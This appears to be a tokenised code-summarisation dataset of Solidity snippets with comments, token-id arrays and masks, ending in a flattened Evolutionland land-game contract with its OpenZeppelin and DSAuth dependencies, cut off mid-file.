function revokeMaxLTVSetter() external { _requireTimelock(); isMaxLTVSetterRevoked = true; emit RevokeMaxLTVSetter(); }
2,823,013
[ 1, 1986, 31621, 9083, 3056, 2747, 12050, 58, 8465, 10335, 68, 445, 5588, 601, 281, 326, 943, 11807, 58, 7794, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 18007, 2747, 12050, 58, 8465, 1435, 3903, 288, 203, 3639, 389, 6528, 10178, 292, 975, 5621, 203, 3639, 353, 2747, 12050, 58, 8465, 10070, 14276, 273, 638, 31, 203, 3639, 3626, 23863, 2747, 12050, 58, 8465, 5621, 203, 565, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x65D1121cf02007A7ae46C783824272C3aBC791F6/sources/PublishedToken.sol
Subtract from the sender's allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender]- _value;
15,900,492
[ 1, 27904, 628, 326, 5793, 1807, 1699, 1359, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1699, 1359, 63, 67, 2080, 6362, 3576, 18, 15330, 65, 273, 1699, 1359, 63, 67, 2080, 6362, 3576, 18, 15330, 65, 17, 389, 1132, 31, 565, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.7.6 <0.8.0; /** * @title IUniswapV2Pair * Interface for the UniswapV2 pair contract. * @dev https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol */ interface IUniswapV2Pair { /** * Returns the reserves of token0 and token1 used to price trades and distribute liquidity. Also returns the * block.timestamp (mod 2**32) of the last block during which an interaction occured for the pair. */ function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); }
* @title IUniswapV2Pair Interface for the UniswapV2 pair contract./
interface IUniswapV2Pair { function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); }
1,789,631
[ 1, 45, 984, 291, 91, 438, 58, 22, 4154, 6682, 364, 326, 1351, 291, 91, 438, 58, 22, 3082, 6835, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 984, 291, 91, 438, 58, 22, 4154, 288, 203, 565, 445, 31792, 264, 3324, 1435, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 1135, 261, 203, 5411, 2254, 17666, 20501, 20, 16, 203, 5411, 2254, 17666, 20501, 21, 16, 203, 5411, 2254, 1578, 1203, 4921, 3024, 203, 3639, 11272, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Dependency file: openzeppelin-solidity/contracts/ownership/Ownable.sol // pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // Dependency file: @evolutionland/common/contracts/interfaces/IInterstellarEncoder.sol // pragma solidity ^0.4.24; contract IInterstellarEncoder { uint256 constant CLEAR_HIGH = 0x00000000000000000000000000000000ffffffffffffffffffffffffffffffff; uint256 public constant MAGIC_NUMBER = 42; // Interstellar Encoding Magic Number. uint256 public constant CHAIN_ID = 1; // Ethereum mainet. uint256 public constant CURRENT_LAND = 1; // 1 is Atlantis, 0 is NaN. enum ObjectClass { NaN, LAND, APOSTLE, OBJECT_CLASS_COUNT } function registerNewObjectClass(address _objectContract, uint8 objectClass) public; function registerNewTokenContract(address _tokenAddress) public; function encodeTokenId(address _tokenAddress, uint8 _objectClass, uint128 _objectIndex) public view returns (uint256 _tokenId); function encodeTokenIdForObjectContract( address _tokenAddress, address _objectContract, uint128 _objectId) public view returns (uint256 _tokenId); function getContractAddress(uint256 _tokenId) public view returns (address); function getObjectId(uint256 _tokenId) public view returns (uint128 _objectId); function getObjectClass(uint256 _tokenId) public view returns (uint8); function getObjectAddress(uint256 _tokenId) public view returns (address); } // Dependency file: @evolutionland/common/contracts/InterstellarEncoder.sol // pragma solidity ^0.4.24; // import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; // import "@evolutionland/common/contracts/interfaces/IInterstellarEncoder.sol"; contract InterstellarEncoder is IInterstellarEncoder, Ownable { // [magic_number, chain_id, contract_id <2>, origin_chain_id, origin_contract_id<2>, object_class, convert_type, <6>, land, <128>] mapping(uint16 => address) public contractId2Address; mapping(address => uint16) public contractAddress2Id; mapping(address => uint8) public objectContract2ObjectClass; uint16 public lastContractId = 0; function encodeTokenId(address _tokenAddress, uint8 _objectClass, uint128 _objectId) public view returns (uint256 _tokenId) { uint16 contractId = contractAddress2Id[_tokenAddress]; require(contractAddress2Id[_tokenAddress] > 0, "Contract address does not exist"); _tokenId = (MAGIC_NUMBER << 248) + (CHAIN_ID << 240) + (uint256(contractId) << 224) + (CHAIN_ID << 216) + (uint256(contractId) << 200) + (uint256(_objectClass) << 192) + (CURRENT_LAND << 128) + uint256(_objectId); } function encodeTokenIdForObjectContract( address _tokenAddress, address _objectContract, uint128 _objectId) public view returns (uint256 _tokenId) { require (objectContract2ObjectClass[_objectContract] > 0, "Object class for this object contract does not exist."); _tokenId = encodeTokenId(_tokenAddress, objectContract2ObjectClass[_objectContract], _objectId); } function registerNewTokenContract(address _tokenAddress) public onlyOwner { require(contractAddress2Id[_tokenAddress] == 0, "Contract address already exist"); require(lastContractId < 65535, "Contract Id already reach maximum."); lastContractId += 1; contractAddress2Id[_tokenAddress] = lastContractId; contractId2Address[lastContractId] = _tokenAddress; } function registerNewObjectClass(address _objectContract, uint8 objectClass) public onlyOwner { objectContract2ObjectClass[_objectContract] = objectClass; } function getContractAddress(uint256 _tokenId) public view returns (address) { return contractId2Address[uint16((_tokenId << 16) >> 240)]; } function getObjectId(uint256 _tokenId) public view returns (uint128 _objectId) { return uint128(_tokenId & CLEAR_HIGH); } } // Dependency file: @evolutionland/common/contracts/interfaces/ISettingsRegistry.sol // pragma solidity ^0.4.24; contract ISettingsRegistry { enum SettingsValueTypes { NONE, UINT, STRING, ADDRESS, BYTES, BOOL, INT } function uintOf(bytes32 _propertyName) public view returns (uint256); function stringOf(bytes32 _propertyName) public view returns (string); function addressOf(bytes32 _propertyName) public view returns (address); function bytesOf(bytes32 _propertyName) public view returns (bytes); function boolOf(bytes32 _propertyName) public view returns (bool); function intOf(bytes32 _propertyName) public view returns (int); function setUintProperty(bytes32 _propertyName, uint _value) public; function setStringProperty(bytes32 _propertyName, string _value) public; function setAddressProperty(bytes32 _propertyName, address _value) public; function setBytesProperty(bytes32 _propertyName, bytes _value) public; function setBoolProperty(bytes32 _propertyName, bool _value) public; function setIntProperty(bytes32 _propertyName, int _value) public; function getValueTypeOf(bytes32 _propertyName) public view returns (uint /* SettingsValueTypes */ ); event ChangeProperty(bytes32 indexed _propertyName, uint256 _type); } // Dependency file: @evolutionland/common/contracts/interfaces/IAuthority.sol // pragma solidity ^0.4.24; contract IAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } // Dependency file: @evolutionland/common/contracts/DSAuth.sol // pragma solidity ^0.4.24; // import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/interfaces/IAuthority.sol'; contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } /** * @title DSAuth * @dev The DSAuth contract is reference implement of https://github.com/dapphub/ds-auth * But in the isAuthorized method, the src from address(this) is remove for safty concern. */ contract DSAuth is DSAuthEvents { IAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(IAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == owner) { return true; } else if (authority == IAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } // Dependency file: @evolutionland/common/contracts/SettingsRegistry.sol // pragma solidity ^0.4.24; // import "@evolutionland/common/contracts/interfaces/ISettingsRegistry.sol"; // import "@evolutionland/common/contracts/DSAuth.sol"; /** * @title SettingsRegistry * @dev This contract holds all the settings for updating and querying. */ contract SettingsRegistry is ISettingsRegistry, DSAuth { mapping(bytes32 => uint256) public uintProperties; mapping(bytes32 => string) public stringProperties; mapping(bytes32 => address) public addressProperties; mapping(bytes32 => bytes) public bytesProperties; mapping(bytes32 => bool) public boolProperties; mapping(bytes32 => int256) public intProperties; mapping(bytes32 => SettingsValueTypes) public valueTypes; function uintOf(bytes32 _propertyName) public view returns (uint256) { require(valueTypes[_propertyName] == SettingsValueTypes.UINT, "Property type does not match."); return uintProperties[_propertyName]; } function stringOf(bytes32 _propertyName) public view returns (string) { require(valueTypes[_propertyName] == SettingsValueTypes.STRING, "Property type does not match."); return stringProperties[_propertyName]; } function addressOf(bytes32 _propertyName) public view returns (address) { require(valueTypes[_propertyName] == SettingsValueTypes.ADDRESS, "Property type does not match."); return addressProperties[_propertyName]; } function bytesOf(bytes32 _propertyName) public view returns (bytes) { require(valueTypes[_propertyName] == SettingsValueTypes.BYTES, "Property type does not match."); return bytesProperties[_propertyName]; } function boolOf(bytes32 _propertyName) public view returns (bool) { require(valueTypes[_propertyName] == SettingsValueTypes.BOOL, "Property type does not match."); return boolProperties[_propertyName]; } function intOf(bytes32 _propertyName) public view returns (int) { require(valueTypes[_propertyName] == SettingsValueTypes.INT, "Property type does not match."); return intProperties[_propertyName]; } function setUintProperty(bytes32 _propertyName, uint _value) public auth { require( valueTypes[_propertyName] == SettingsValueTypes.NONE || valueTypes[_propertyName] == SettingsValueTypes.UINT, "Property type does not match."); uintProperties[_propertyName] = _value; valueTypes[_propertyName] = SettingsValueTypes.UINT; emit ChangeProperty(_propertyName, uint256(SettingsValueTypes.UINT)); } function setStringProperty(bytes32 _propertyName, string _value) public auth { require( valueTypes[_propertyName] == SettingsValueTypes.NONE || valueTypes[_propertyName] == SettingsValueTypes.STRING, "Property type does not match."); stringProperties[_propertyName] = _value; valueTypes[_propertyName] = SettingsValueTypes.STRING; emit ChangeProperty(_propertyName, uint256(SettingsValueTypes.STRING)); } function setAddressProperty(bytes32 _propertyName, address _value) public auth { require( valueTypes[_propertyName] == SettingsValueTypes.NONE || valueTypes[_propertyName] == SettingsValueTypes.ADDRESS, "Property type does not match."); addressProperties[_propertyName] = _value; valueTypes[_propertyName] = SettingsValueTypes.ADDRESS; emit ChangeProperty(_propertyName, uint256(SettingsValueTypes.ADDRESS)); } function setBytesProperty(bytes32 _propertyName, bytes _value) public auth { require( valueTypes[_propertyName] == SettingsValueTypes.NONE || valueTypes[_propertyName] == SettingsValueTypes.BYTES, "Property type does not match."); bytesProperties[_propertyName] = _value; valueTypes[_propertyName] = SettingsValueTypes.BYTES; emit ChangeProperty(_propertyName, uint256(SettingsValueTypes.BYTES)); } function setBoolProperty(bytes32 _propertyName, bool _value) public auth { require( valueTypes[_propertyName] == SettingsValueTypes.NONE || valueTypes[_propertyName] == SettingsValueTypes.BOOL, "Property type does not match."); boolProperties[_propertyName] = _value; valueTypes[_propertyName] = SettingsValueTypes.BOOL; emit ChangeProperty(_propertyName, uint256(SettingsValueTypes.BOOL)); } function setIntProperty(bytes32 _propertyName, int _value) public auth { require( valueTypes[_propertyName] == SettingsValueTypes.NONE || valueTypes[_propertyName] == SettingsValueTypes.INT, "Property type does not match."); intProperties[_propertyName] = _value; valueTypes[_propertyName] = SettingsValueTypes.INT; emit ChangeProperty(_propertyName, uint256(SettingsValueTypes.INT)); } function getValueTypeOf(bytes32 _propertyName) public view returns (uint256 /* SettingsValueTypes */ ) { return uint256(valueTypes[_propertyName]); } } // Dependency file: @evolutionland/common/contracts/SettingIds.sol // pragma solidity ^0.4.24; /** Id definitions for SettingsRegistry.sol Can be used in conjunction with the settings registry to get properties */ contract SettingIds { bytes32 public constant CONTRACT_RING_ERC20_TOKEN = "CONTRACT_RING_ERC20_TOKEN"; bytes32 public constant CONTRACT_KTON_ERC20_TOKEN = "CONTRACT_KTON_ERC20_TOKEN"; bytes32 public constant CONTRACT_GOLD_ERC20_TOKEN = "CONTRACT_GOLD_ERC20_TOKEN"; bytes32 public constant CONTRACT_WOOD_ERC20_TOKEN = "CONTRACT_WOOD_ERC20_TOKEN"; bytes32 public constant CONTRACT_WATER_ERC20_TOKEN = "CONTRACT_WATER_ERC20_TOKEN"; bytes32 public constant CONTRACT_FIRE_ERC20_TOKEN = "CONTRACT_FIRE_ERC20_TOKEN"; bytes32 public constant CONTRACT_SOIL_ERC20_TOKEN = "CONTRACT_SOIL_ERC20_TOKEN"; bytes32 public constant CONTRACT_OBJECT_OWNERSHIP = "CONTRACT_OBJECT_OWNERSHIP"; bytes32 public constant CONTRACT_TOKEN_LOCATION = "CONTRACT_TOKEN_LOCATION"; bytes32 public constant CONTRACT_LAND_BASE = "CONTRACT_LAND_BASE"; bytes32 public constant CONTRACT_USER_POINTS = "CONTRACT_USER_POINTS"; bytes32 public constant CONTRACT_INTERSTELLAR_ENCODER = "CONTRACT_INTERSTELLAR_ENCODER"; bytes32 public constant CONTRACT_DIVIDENDS_POOL = "CONTRACT_DIVIDENDS_POOL"; bytes32 public constant CONTRACT_TOKEN_USE = "CONTRACT_TOKEN_USE"; bytes32 public constant CONTRACT_REVENUE_POOL = "CONTRACT_REVENUE_POOL"; bytes32 public constant CONTRACT_ERC721_BRIDGE = "CONTRACT_ERC721_BRIDGE"; bytes32 public constant CONTRACT_PET_BASE = "CONTRACT_PET_BASE"; // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // this can be considered as transaction fee. // Values 0-10,000 map to 0%-100% // set ownerCut to 4% // ownerCut = 400; bytes32 public constant UINT_AUCTION_CUT = "UINT_AUCTION_CUT"; // Denominator is 10000 bytes32 public constant UINT_TOKEN_OFFER_CUT = "UINT_TOKEN_OFFER_CUT"; // Denominator is 10000 // Cut referer takes on each auction, measured in basis points (1/100 of a percent). // which cut from transaction fee. // Values 0-10,000 map to 0%-100% // set refererCut to 4% // refererCut = 400; bytes32 public constant UINT_REFERER_CUT = "UINT_REFERER_CUT"; bytes32 public constant CONTRACT_LAND_RESOURCE = "CONTRACT_LAND_RESOURCE"; } // Dependency file: @evolutionland/common/contracts/interfaces/ERC223ReceivingContract.sol // pragma solidity ^0.4.23; /* * Contract that is working with ERC223 tokens * https://github.com/ethereum/EIPs/issues/223 */ /// @title ERC223ReceivingContract - Standard contract implementation for compatibility with ERC223 tokens. contract ERC223ReceivingContract { /// @dev Function that is called when a user or another contract wants to transfer funds. /// @param _from Transaction initiator, analogue of msg.sender /// @param _value Number of tokens to transfer. /// @param _data Data containig a function signature and/or parameters function tokenFallback(address _from, uint256 _value, bytes _data) public; } // Dependency file: @evolutionland/common/contracts/interfaces/TokenController.sol // pragma solidity ^0.4.23; /// @dev The token controller contract must implement these functions contract TokenController { /// @notice Called when `_owner` sends ether to the MiniMe Token contract /// @param _owner The address that sent the ether to create tokens /// @return True if the ether is accepted, false if it throws function proxyPayment(address _owner, bytes4 sig, bytes data) payable public returns (bool); /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) public returns (bool); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) public returns (bool); } // Dependency file: @evolutionland/common/contracts/interfaces/ApproveAndCallFallBack.sol // pragma solidity ^0.4.23; contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } // Dependency file: @evolutionland/common/contracts/interfaces/ERC223.sol // pragma solidity ^0.4.23; contract ERC223 { function transfer(address to, uint amount, bytes data) public returns (bool ok); function transferFrom(address from, address to, uint256 amount, bytes data) public returns (bool ok); event ERC223Transfer(address indexed from, address indexed to, uint amount, bytes data); } // Dependency file: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol // pragma solidity ^0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // Dependency file: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol // pragma solidity ^0.4.24; // import "openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol"; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // Dependency file: openzeppelin-solidity/contracts/math/SafeMath.sol // pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // Dependency file: @evolutionland/common/contracts/StandardERC20Base.sol // pragma solidity ^0.4.23; // import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol'; // import "openzeppelin-solidity/contracts/math/SafeMath.sol"; contract StandardERC20Base is ERC20 { using SafeMath for uint256; uint256 _supply; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _approvals; function totalSupply() public view returns (uint) { return _supply; } function balanceOf(address src) public view returns (uint) { return _balances[src]; } function allowance(address src, address guy) public view returns (uint) { return _approvals[src][guy]; } function transfer(address dst, uint wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom(address src, address dst, uint wad) public returns (bool) { if (src != msg.sender) { _approvals[src][msg.sender] = _approvals[src][msg.sender].sub(wad); } _balances[src] = _balances[src].sub(wad); _balances[dst] = _balances[dst].add(wad); emit Transfer(src, dst, wad); return true; } function approve(address guy, uint wad) public returns (bool) { _approvals[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } } // Dependency file: @evolutionland/common/contracts/StandardERC223.sol // pragma solidity ^0.4.24; // import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/interfaces/ERC223ReceivingContract.sol'; // import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/interfaces/TokenController.sol'; // import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/interfaces/ApproveAndCallFallBack.sol'; // import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/interfaces/ERC223.sol'; // import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/StandardERC20Base.sol'; // import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/DSAuth.sol'; // This is a contract for demo and test. contract StandardERC223 is StandardERC20Base, DSAuth, ERC223 { event Burn(address indexed burner, uint256 value); event Mint(address indexed to, uint256 amount); bytes32 public symbol; uint256 public decimals = 18; // standard token precision. override to customize // Optional token 